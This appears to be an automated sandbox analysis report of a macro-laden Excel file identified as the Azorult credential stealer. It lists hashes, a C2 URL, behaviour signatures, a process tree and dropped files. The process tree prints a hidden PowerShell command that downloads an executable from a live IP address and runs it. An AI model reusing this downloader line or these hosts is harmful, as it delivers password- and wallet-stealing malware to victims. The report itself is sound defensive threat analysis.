Analysis

  • max time kernel
    106s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-04-2023 13:31

General

  • Target

    DOC2257ITVA230604.xlsm

  • Size

    719KB

  • MD5

    752cf8dd3ebd557056c157341777f5b5

  • SHA1

    5eb22055e52a0fa0037006041834c61c07e9ea20

  • SHA256

    7def901d73f04fde55e8a0058d765ca75a424cf585381d3fdd8f40cd12c99512

  • SHA512

    d41ef2ca9d931db9951b676362e5ac5ac0aad4ec48656c9054b7db7efd2a9bc65d080d9226c6f93b82bdaa2b4a6d805ac3d4e09c95ad2e6056c622f9deb4b4dc

  • SSDEEP

    12288:ppuIS1W2v1XJGMO40rS85YZ/457cqCkvfqfuppdOBWtrWbJn/tz+219iiULFc/zD:pxSH1Xw5rt5XcqCkvCfuppdtV0VFr/h3

Malware Config

Extracted

Family

azorult

C2

http://bll5e.shop/dbkl/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\DOC2257ITVA230604.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://62.108.40.105/iy/bin-crypted.exe" -OutFile $TempFile; Start-Process $TempFile;
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3212
      • C:\Users\Admin\AppData\Local\Temp\tmpDE01.exe
        "C:\Users\Admin\AppData\Local\Temp\tmpDE01.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3820
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4608
        • C:\Users\Admin\AppData\Local\Temp\tmpDE01.exe
          C:\Users\Admin\AppData\Local\Temp\tmpDE01.exe
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3268
          • C:\Users\Admin\AppData\Local\Temp\FB_6CA4.tmp.exe
            "C:\Users\Admin\AppData\Local\Temp\FB_6CA4.tmp.exe"
            5⤵
            • Executes dropped EXE
            PID:2072
          • C:\Users\Admin\AppData\Local\Temp\FB_6F93.tmp.exe
            "C:\Users\Admin\AppData\Local\Temp\FB_6F93.tmp.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • Accesses Microsoft Outlook profiles
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            • outlook_win_path
            PID:2892
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "FB_6F93.tmp.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1712
              • C:\Windows\SysWOW64\timeout.exe
                C:\Windows\system32\timeout.exe 3
                7⤵
                • Delays execution with timeout.exe
                PID:1020

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

5
T1081

Discovery

Query Registry

4
T1012

System Information Discovery

4
T1082

Collection

Data from Local System

5
T1005

Email Collection

1
T1114

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    88dbc4ea02d5955553aa0829b4633951

    SHA1

    cdcac352cbba1845bb4157214a8c915822514e50

    SHA256

    99ef7da23364302609c71345fc2524e8b7f2cf59e2dc50c3b794e61e68489e05

    SHA512

    56534d6f5c601d16400f61f3c6ecf9a823a37c90e80e4355b78959b2922fa301e938903a55b683b0c0beca0d0ead8b642bc3ffbd8b964637f9eeaeb04fa4d0a8

  • C:\Users\Admin\AppData\Local\Temp\D14EC72F\mozglue.dll
    Filesize

    135KB

    MD5

    9e682f1eb98a9d41468fc3e50f907635

    SHA1

    85e0ceca36f657ddf6547aa0744f0855a27527ee

    SHA256

    830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d

    SHA512

    230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed

  • C:\Users\Admin\AppData\Local\Temp\D14EC72F\msvcp140.dll
    Filesize

    429KB

    MD5

    109f0f02fd37c84bfc7508d4227d7ed5

    SHA1

    ef7420141bb15ac334d3964082361a460bfdb975

    SHA256

    334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

    SHA512

    46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

  • C:\Users\Admin\AppData\Local\Temp\D14EC72F\nss3.dll
    Filesize

    1.2MB

    MD5

    556ea09421a0f74d31c4c0a89a70dc23

    SHA1

    f739ba9b548ee64b13eb434a3130406d23f836e3

    SHA256

    f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb

    SHA512

    2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2

  • C:\Users\Admin\AppData\Local\Temp\D14EC72F\vcruntime140.dll
    Filesize

    81KB

    MD5

    7587bf9cb4147022cd5681b015183046

    SHA1

    f2106306a8f6f0da5afb7fc765cfa0757ad5a628

    SHA256

    c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

    SHA512

    0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

  • C:\Users\Admin\AppData\Local\Temp\D14EC72F\vcruntime140.dll
    Filesize

    81KB

    MD5

    7587bf9cb4147022cd5681b015183046

    SHA1

    f2106306a8f6f0da5afb7fc765cfa0757ad5a628

    SHA256

    c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

    SHA512

    0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

  • C:\Users\Admin\AppData\Local\Temp\FB_6CA4.tmp.exe
    Filesize

    3KB

    MD5

    74bafb3e707c7b0c63938ac200f99c7f

    SHA1

    10c5506337845ed9bf25c73d2506f9c15ab8e608

    SHA256

    129450ba06ad589cf6846a455a5b6b5f55e164ee4906e409eb692ab465269689

    SHA512

    5b24dc5acd14f812658e832b587b60695fb16954fca006c2c3a7382ef0ec65c3bd1aaf699425c49ff3cceef16869e75dd6f00ec189b9f673f08f7e1b80cf7781

  • C:\Users\Admin\AppData\Local\Temp\FB_6CA4.tmp.exe
    Filesize

    3KB

    MD5

    74bafb3e707c7b0c63938ac200f99c7f

    SHA1

    10c5506337845ed9bf25c73d2506f9c15ab8e608

    SHA256

    129450ba06ad589cf6846a455a5b6b5f55e164ee4906e409eb692ab465269689

    SHA512

    5b24dc5acd14f812658e832b587b60695fb16954fca006c2c3a7382ef0ec65c3bd1aaf699425c49ff3cceef16869e75dd6f00ec189b9f673f08f7e1b80cf7781

  • C:\Users\Admin\AppData\Local\Temp\FB_6CA4.tmp.exe
    Filesize

    3KB

    MD5

    74bafb3e707c7b0c63938ac200f99c7f

    SHA1

    10c5506337845ed9bf25c73d2506f9c15ab8e608

    SHA256

    129450ba06ad589cf6846a455a5b6b5f55e164ee4906e409eb692ab465269689

    SHA512

    5b24dc5acd14f812658e832b587b60695fb16954fca006c2c3a7382ef0ec65c3bd1aaf699425c49ff3cceef16869e75dd6f00ec189b9f673f08f7e1b80cf7781

  • C:\Users\Admin\AppData\Local\Temp\FB_6F93.tmp.exe
    Filesize

    112KB

    MD5

    2dd2c9bac5fb8aaad15d3b6b86ca5579

    SHA1

    4a4c8c3f3b625ef05f52c5169e6f20c2c0f7821d

    SHA256

    6d7ada69aa8260a1c9d4108a03258468bd050603be333e4f8b2f85c79de0338c

    SHA512

    8b5a936fecb66b7d1fa5e12b9a2cd3145d0fec8e56dc66dfdd8ed6b306c036028c2f74b228bb5b284a5886c19093e0ba12486f3374f5e917e19ee56510d865f7

  • C:\Users\Admin\AppData\Local\Temp\FB_6F93.tmp.exe
    Filesize

    112KB

    MD5

    2dd2c9bac5fb8aaad15d3b6b86ca5579

    SHA1

    4a4c8c3f3b625ef05f52c5169e6f20c2c0f7821d

    SHA256

    6d7ada69aa8260a1c9d4108a03258468bd050603be333e4f8b2f85c79de0338c

    SHA512

    8b5a936fecb66b7d1fa5e12b9a2cd3145d0fec8e56dc66dfdd8ed6b306c036028c2f74b228bb5b284a5886c19093e0ba12486f3374f5e917e19ee56510d865f7

  • C:\Users\Admin\AppData\Local\Temp\FB_6F93.tmp.exe
    Filesize

    112KB

    MD5

    2dd2c9bac5fb8aaad15d3b6b86ca5579

    SHA1

    4a4c8c3f3b625ef05f52c5169e6f20c2c0f7821d

    SHA256

    6d7ada69aa8260a1c9d4108a03258468bd050603be333e4f8b2f85c79de0338c

    SHA512

    8b5a936fecb66b7d1fa5e12b9a2cd3145d0fec8e56dc66dfdd8ed6b306c036028c2f74b228bb5b284a5886c19093e0ba12486f3374f5e917e19ee56510d865f7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mrfqtoy4.yym.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmpDE01.exe
    Filesize

    2.2MB

    MD5

    1680cc2c45f54513098e40bd08d4fb54

    SHA1

    d2fab5c06192de87f167235d6dba99deef901539

    SHA256

    16cce7de5b4dfb6933aab0dd4388a5e9800f8811877a9087bb2964c098ad6c62

    SHA512

    21059584d12d8c2413e41634f1cf24104bd27e8faa83397fb5f1b0299d316d7f58a21fea60acfa5f6cac3da190fa05e4894d5001c558cdcb300d273c25c6538e

  • C:\Users\Admin\AppData\Local\Temp\tmpDE01.exe
    Filesize

    2.2MB

    MD5

    1680cc2c45f54513098e40bd08d4fb54

    SHA1

    d2fab5c06192de87f167235d6dba99deef901539

    SHA256

    16cce7de5b4dfb6933aab0dd4388a5e9800f8811877a9087bb2964c098ad6c62

    SHA512

    21059584d12d8c2413e41634f1cf24104bd27e8faa83397fb5f1b0299d316d7f58a21fea60acfa5f6cac3da190fa05e4894d5001c558cdcb300d273c25c6538e

  • C:\Users\Admin\AppData\Local\Temp\tmpDE01.exe
    Filesize

    2.2MB

    MD5

    1680cc2c45f54513098e40bd08d4fb54

    SHA1

    d2fab5c06192de87f167235d6dba99deef901539

    SHA256

    16cce7de5b4dfb6933aab0dd4388a5e9800f8811877a9087bb2964c098ad6c62

    SHA512

    21059584d12d8c2413e41634f1cf24104bd27e8faa83397fb5f1b0299d316d7f58a21fea60acfa5f6cac3da190fa05e4894d5001c558cdcb300d273c25c6538e

  • C:\Users\Admin\AppData\Local\Temp\tmpDE01.exe
    Filesize

    2.2MB

    MD5

    1680cc2c45f54513098e40bd08d4fb54

    SHA1

    d2fab5c06192de87f167235d6dba99deef901539

    SHA256

    16cce7de5b4dfb6933aab0dd4388a5e9800f8811877a9087bb2964c098ad6c62

    SHA512

    21059584d12d8c2413e41634f1cf24104bd27e8faa83397fb5f1b0299d316d7f58a21fea60acfa5f6cac3da190fa05e4894d5001c558cdcb300d273c25c6538e

  • memory/1788-358-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-136-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-360-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-133-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-134-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-135-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-361-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-359-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-137-0x00007FFEA22B0000-0x00007FFEA22C0000-memory.dmp
    Filesize

    64KB

  • memory/1788-138-0x00007FFEA0110000-0x00007FFEA0120000-memory.dmp
    Filesize

    64KB

  • memory/1788-139-0x00007FFEA0110000-0x00007FFEA0120000-memory.dmp
    Filesize

    64KB

  • memory/2892-350-0x0000000000400000-0x0000000000420000-memory.dmp
    Filesize

    128KB

  • memory/3212-150-0x000001D1D0050000-0x000001D1D0072000-memory.dmp
    Filesize

    136KB

  • memory/3212-162-0x000001D1D0090000-0x000001D1D00A0000-memory.dmp
    Filesize

    64KB

  • memory/3212-164-0x000001D1D0090000-0x000001D1D00A0000-memory.dmp
    Filesize

    64KB

  • memory/3212-163-0x000001D1D0090000-0x000001D1D00A0000-memory.dmp
    Filesize

    64KB

  • memory/3268-215-0x0000000000400000-0x0000000000422000-memory.dmp
    Filesize

    136KB

  • memory/3268-219-0x0000000000400000-0x0000000000422000-memory.dmp
    Filesize

    136KB

  • memory/3268-220-0x0000000000400000-0x0000000000422000-memory.dmp
    Filesize

    136KB

  • memory/3820-207-0x00000000059D0000-0x00000000059E0000-memory.dmp
    Filesize

    64KB

  • memory/3820-183-0x0000000005E90000-0x0000000005EB2000-memory.dmp
    Filesize

    136KB

  • memory/3820-184-0x00000000059D0000-0x00000000059E0000-memory.dmp
    Filesize

    64KB

  • memory/3820-182-0x0000000000E50000-0x000000000108A000-memory.dmp
    Filesize

    2.2MB

  • memory/4608-203-0x0000000007840000-0x0000000007EBA000-memory.dmp
    Filesize

    6.5MB

  • memory/4608-204-0x00000000064D0000-0x00000000064EA000-memory.dmp
    Filesize

    104KB

  • memory/4608-208-0x0000000004B70000-0x0000000004B80000-memory.dmp
    Filesize

    64KB

  • memory/4608-202-0x0000000004B70000-0x0000000004B80000-memory.dmp
    Filesize

    64KB

  • memory/4608-201-0x0000000005FE0000-0x0000000005FFE000-memory.dmp
    Filesize

    120KB

  • memory/4608-199-0x0000000004B70000-0x0000000004B80000-memory.dmp
    Filesize

    64KB

  • memory/4608-189-0x0000000005980000-0x00000000059E6000-memory.dmp
    Filesize

    408KB

  • memory/4608-188-0x0000000005860000-0x00000000058C6000-memory.dmp
    Filesize

    408KB

  • memory/4608-187-0x00000000051B0000-0x00000000057D8000-memory.dmp
    Filesize

    6.2MB

  • memory/4608-185-0x0000000004B70000-0x0000000004B80000-memory.dmp
    Filesize

    64KB

  • memory/4608-186-0x0000000002A00000-0x0000000002A36000-memory.dmp
    Filesize

    216KB

  • memory/4608-209-0x0000000004B70000-0x0000000004B80000-memory.dmp
    Filesize

    64KB

  • memory/4608-210-0x0000000004B70000-0x0000000004B80000-memory.dmp
    Filesize

    64KB